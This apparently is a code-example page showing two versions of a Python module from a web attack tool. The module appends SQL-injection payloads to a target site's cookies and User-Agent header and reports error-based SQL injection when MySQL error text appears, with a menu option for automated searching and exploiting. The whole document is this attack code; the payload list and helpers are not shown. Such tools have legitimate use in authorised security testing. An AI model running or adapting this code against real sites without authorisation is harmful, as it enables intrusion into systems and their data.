Exemplo n.º 1
0
def auto0x00(web, parallel):
    def sqlicookie0x00(web, parallel):

        #print(R+'\n    =========================')
        print(R + '\n     S Q L i  (Cookie Based)')
        print(R + '    ––·‹›·––·‹›·––·‹›·––·‹›·–\n')

        sleep(0.5)
        vsession = session()
        req = vsession.get(web)
        check = ["have an error", "SQL syntax", "MySQL"]
        if vsession.cookies:
            print(G + ' [+] This website values session cookies...')
            success = []
            if not parallel:
                for i in pay:
                    print(B + " [*] Trying Payload : " + C + '' + i)
                    time.sleep(0.7)
                    for cookie in vsession.cookies:
                        cookie.value += i
                        print(O + ' [+] Using ' + R + '!nfected' + O +
                              ' cookie : ' + GR + cookie.value)
                        r = vsession.get(web)
                        for j in range(0, len(check)):
                            if check[j] in r.text:
                                poc = C + " [+] PoC : " + O + cookie.name + " : " + GR + cookie.value
                                print(
                                    G +
                                    " [+] Error Based SQli (Cookie Based) Detected! "
                                )
                                print(poc)
                                print(P + ' [+] Code : ' + W + str(r.text) +
                                      '\n')
                                success.append(i)
            else:
                paylists = listsplit(pay, round(len(pay) / processes))
                with Pool(processes=processes) as pool:
                    res = [
                        pool.apply_async(cookiepre,
                                         args=(
                                             l,
                                             vsession,
                                             check,
                                             req,
                                         )) for l in paylists
                    ]
                    #res1 = pool.apply_async(portloop, )
                    for i in res:
                        j = i.get()
                        success += j
            if success:
                print(" [+] SQLi Vulnerability found! Successful payloads:")
                for i in success:
                    print(i)
            else:
                print(R + "\n [-] No payload succeeded." + C)
        else:
            print(R + ' [-] No support for cookies...')
            time.sleep(0.5)
            print(R + ' [-] Cookie based injection not possible...')

    def sqliuser0x00(web, parallel):

        #print(R+'\n    =============================')
        print(R + '\n     S Q L i  (User-Agent Based)')
        print(R + '    ––·‹›·––·‹›·––·‹›·––·‹›·––·‹›\n')
        success = []
        requests = session()
        if not parallel:
            for i in pay:
                print(B + ' [*] Using payload : ' + C + i)
                time.sleep(0.7)
                user_agent = {
                    'User-agent':
                    'Mozilla/5.0 (X11; Ubuntu; Linux' +
                    'x86_64; rv:39.0) Gecko/20100101 Firefox/39.0'
                }
                user_agent['User-agent'] += i
                req = requests.get(web, headers=user_agent)
                print(O + ' [*] Using ' + R + '!nfected' + O + ' UA : ' + GR +
                      user_agent['User-agent'])
                #flag = u' '.join(req.text).encode('utf-8').strip()
                flag = " ".join(req.text).strip()
                if 'error' in flag or 'syntax' in flag or 'MySQL'.lower(
                ) in flag.lower():
                    print(
                        G +
                        '\n [!] Error based SQLi (User-Agent Based) Detected!')
                    print(R + ' [!] User-Agent : ' + O +
                          user_agent['User-agent'])
                    success.append(i)
        else:
            paylists = listsplit(pay, round(len(pay) / processes))
            with Pool(processes=processes) as pool:
                res = [
                    pool.apply_async(userpre, args=(
                        l,
                        web,
                    )) for l in paylists
                ]
                #res1 = pool.apply_async(portloop, )
                for i in res:
                    j = i.get()
                    success += j
        if success:
            print(" [+] SQLi Vulnerability found! Successful payloads:")
            for i in success:
                print(i)
        else:
            print(R + "\n [-] No payload succeeded." + C)

    print(P + ' [!] Enter an option :\n')
    print(B + '   [1] ' + C + 'Cookie Error Based Injection')
    print(B + '   [2] ' + C + 'User-Agent Error Based Injection')
    print(B + '   [3] ' + C +
          'Auto Awesome Module (automated searching and exploiting)\n')
    q = input(O + ' [§] TID :> ')
    if q == '3':
        print(GR + ' [*] Launching Auto-Awesome Module...')
        errorsqlsearch(web)
    elif q == '2':
        print(GR + ' [*] Launching User-Agent Error Based Module...')
        sqliuser0x00(web, parallel)
    elif q == '1':
        print(GR + ' [*] Launching Cookie-Based Module...')
        sqlicookie0x00(web, parallel)
Exemplo n.º 2
0
def auto0x00(web):
    def sqlicookie0x00(web):

        print(R + '\n    =========================')
        print(R + '     S Q L i  (Cookie Based)')
        print(R + '    =========================\n')

        sleep(0.5)
        session = requests.Session()
        req = session.get(web)
        check = ["have an error", "SQL syntax", "MySQL"]
        if session.cookies:
            print(G + ' [+] This website values session cookies...')
            for i in pay:
                print(B + " [*] Trying Payload : " + C + '' + i)
                time.sleep(0.7)
                for cookie in session.cookies:
                    cookie.value += i
                    print(O + ' [+] Using ' + R + '!nfected' + O +
                          ' cookie : ' + GR + cookie.value)
                    r = session.get(web)
                    for j in range(0, len(check)):
                        if check[j] in r.text:
                            poc = C + " [+] PoC : " + O + cookie.name + " : " + GR + cookie.value
                            print(
                                G +
                                " [+] Error Based SQli (Cookie Based) Detected! "
                            )
                            print(poc)
                            print(P + ' [+] Code : ' + W + str(r.text) + '\n')
        else:
            print(R + ' [-] No support for cookies...')
            time.sleep(0.5)
            print(R + ' [-] Cookie based injection not possible...')

    def sqliuser0x00(web):

        print(R + '\n    =============================')
        print(R + '     S Q L i  (User-Agent Based)')
        print(R + '    =============================\n')

        for i in pay:
            print(B + ' [*] Using payload : ' + C + i)
            time.sleep(0.7)
            user_agent = {
                'User-agent':
                'Mozilla/5.0 (X11; Ubuntu; Linux' +
                'x86_64; rv:39.0) Gecko/20100101 Firefox/39.0'
            }
            user_agent['User-agent'] += i
            req = requests.get(web, headers=user_agent)
            print(O + ' [*] Using ' + R + '!nfected' + O + ' UA : ' + GR +
                  user_agent['User-agent'])
            flag = u' '.join(req.text).encode('utf-8').strip()
            if 'error' in flag or 'syntax' in flag or 'MySQL'.lower(
            ) in flag.lower():
                print(G +
                      '\n [!] Error based SQLi (User-Agent Based) Detected!')
                print(R + ' [!] User-Agent : ' + O + user_agent['User-agent'])

    print(P + ' [!] Enter an option :\n')
    print(B + '   [1] ' + C + 'Cookie Error Based Injection')
    print(B + '   [2] ' + C + 'User-Agent Error Based Injection')
    print(B + '   [3] ' + C +
          'Auto Awesome Module (automated searching and exploiting)\n')
    q = input(O + ' [#] TID :> ')
    if q == '3':
        print(GR + ' [*] Launching Auto-Awesome Module...')
        errorsqlsearch(web)
    elif q == '2':
        print(GR + ' [*] Launching User-Agent Error Based Module...')
        sqliuser0x00(web)
    elif q == '1':
        print(GR + ' [*] Launching Cookie-Based Module...')
        sqlicookie0x00(web)